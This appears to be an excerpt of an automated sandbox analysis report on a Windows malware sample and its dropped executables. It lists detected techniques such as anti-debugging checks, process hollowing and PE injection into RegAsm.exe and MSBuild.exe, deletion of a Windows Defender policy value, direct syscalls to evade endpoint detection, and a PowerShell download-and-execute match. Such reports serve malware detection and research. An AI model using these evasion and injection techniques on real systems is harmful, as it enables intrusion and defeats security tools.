Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Code function: 7_2_0217171C rdtsc

7_2_0217171C

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Code function: 7_2_0040D1E4 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

7_2_0040D1E4

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

7_2_0040D1E4

Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe

Code function: 14_2_6895B6C0 GetModuleHandleW,GetModuleHandleW,LoadLibraryW,GetProcAddress,__cftoe,GetModuleHandleW,GetProcAddress,

14_2_6895B6C0

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_021700A3 push dword ptr fs:[00000030h]	7_2_021700A3
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02210042 push dword ptr fs:[00000030h]	7_2_02210042
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_0045C1CD mov ecx, dword ptr fs:[00000030h]	9_2_0045C1CD
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_0046547E mov eax, dword ptr fs:[00000030h]	9_2_0046547E
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AAC1CD mov ecx, dword ptr fs:[00000030h]	11_2_00AAC1CD
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AB547E mov eax, dword ptr fs:[00000030h]	11_2_00AB547E

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Code function: 7_2_0041153F __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

7_2_0041153F

Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_00407166 SetUnhandledExceptionFilter,	7_2_00407166
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_00407197 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00407197
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_00455095 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00455095
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_00458E0B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00458E0B
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_00454E26 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00454E26
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_00454F82 SetUnhandledExceptionFilter,	9_2_00454F82
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AA5095 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00AA5095
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AA4E26 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00AA4E26
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AA8E0B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00AA8E0B
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AA4F82 SetUnhandledExceptionFilter,	11_2_00AA4F82
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689AB144 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_689AB144
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689A948B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_689A948B

Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: ogoGQsWFwF_EcodN5qF7hiVC.exe PID: 3056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: zfQlIB6J8n2u_zLV5LHnA1xW.exe PID: 3920, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\kat806.tmp base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Code function: 7_2_02210110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

7_2_02210110

Disables Windows Defender (deletes autostart)

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{7F44006F-4BAB-480A-9050-95ACCAEC3314}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{6B21693A-22DD-4D17-ACCA-995B0978C91B}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	NtQueryInformationProcess: Indirect: 0x140D79DBC	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	NtQueryInformationProcess: Indirect: 0x140737CF6	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	NtSetInformationThread: Indirect: 0x14074EFD4	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	NtQuerySystemInformation: Indirect: 0x140D20A0E	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtClose: Direct from: 0x140F911D1
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Direct from: 0x141606519
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtOpenFile: Direct from: 0x141915E9B
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Direct from: 0x140FBD813
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Direct from: 0x1418E9585
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	NtQueryInformationProcess: Indirect: 0x140D79F0B	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Direct from: 0x14190A4AE
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Direct from: 0x14190078A
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	NtQueryInformationProcess: Indirect: 0x140737BBA	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Indirect: 0x140F737CE
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	NtSetInformationThread: Indirect: 0x140D9A2AB	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	NtQuerySystemInformation: Indirect: 0x1406D842B	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Direct from: 0x140F9015F
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Direct from: 0x1418AC1C4
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Direct from: 0x1415F89C3
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	NtProtectVirtualMemory: Direct from: 0x1418BCD9F

Injects a PE file into a foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Memory written: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Memory written: C:\Users\user\AppData\Local\Temp\kat806.tmp base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Section unmapped: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe base address: 400000
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 422000
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42E000
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 641000
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1073008
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: DC0008
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Memory written: C:\Users\user\AppData\Local\Temp\kat806.tmp base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Memory written: C:\Users\user\AppData\Local\Temp\kat806.tmp base: 401000
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Memory written: C:\Users\user\AppData\Local\Temp\kat806.tmp base: 422000
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Memory written: C:\Users\user\AppData\Local\Temp\kat806.tmp base: 42E000
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Memory written: C:\Users\user\AppData\Local\Temp\kat806.tmp base: 641000
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 456000
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 48E000
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 116C008

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Process created: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Process created: C:\Users\user\AppData\Local\Temp\kat806.tmp C:\Users\user\AppData\Local\Temp\kat806.tmp
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Code function: 7_2_004043C6 cpuid

7_2_004043C6

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_02250AB6
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	7_2_0223C8B7
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	7_2_0224394D
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	7_2_022449EA
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	7_2_02243F87
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_0046781B
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: EnumSystemLocalesW,	9_2_00467159
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: EnumSystemLocalesW,	9_2_004671A4
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: EnumSystemLocalesW,	9_2_0046723F
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	9_2_004672CA
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: GetLocaleInfoW,	9_2_0045F3B5
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: GetLocaleInfoW,	9_2_0046751D
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_00467646
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: EnumSystemLocalesW,	9_2_0045EE8F
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	9_2_00466EB7
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: GetLocaleInfoW,	9_2_0046774C
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	11_2_00AB781B
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: EnumSystemLocalesW,	11_2_00AB71A4
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: EnumSystemLocalesW,	11_2_00AB7159
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	11_2_00AB72CA
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: EnumSystemLocalesW,	11_2_00AB723F
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: GetLocaleInfoW,	11_2_00AAF3B5
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: GetLocaleInfoW,	11_2_00AB751D
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	11_2_00AB6EB7
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: EnumSystemLocalesW,	11_2_00AAEE8F
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_00AB7646
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: GetLocaleInfoW,	11_2_00AB774C

Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
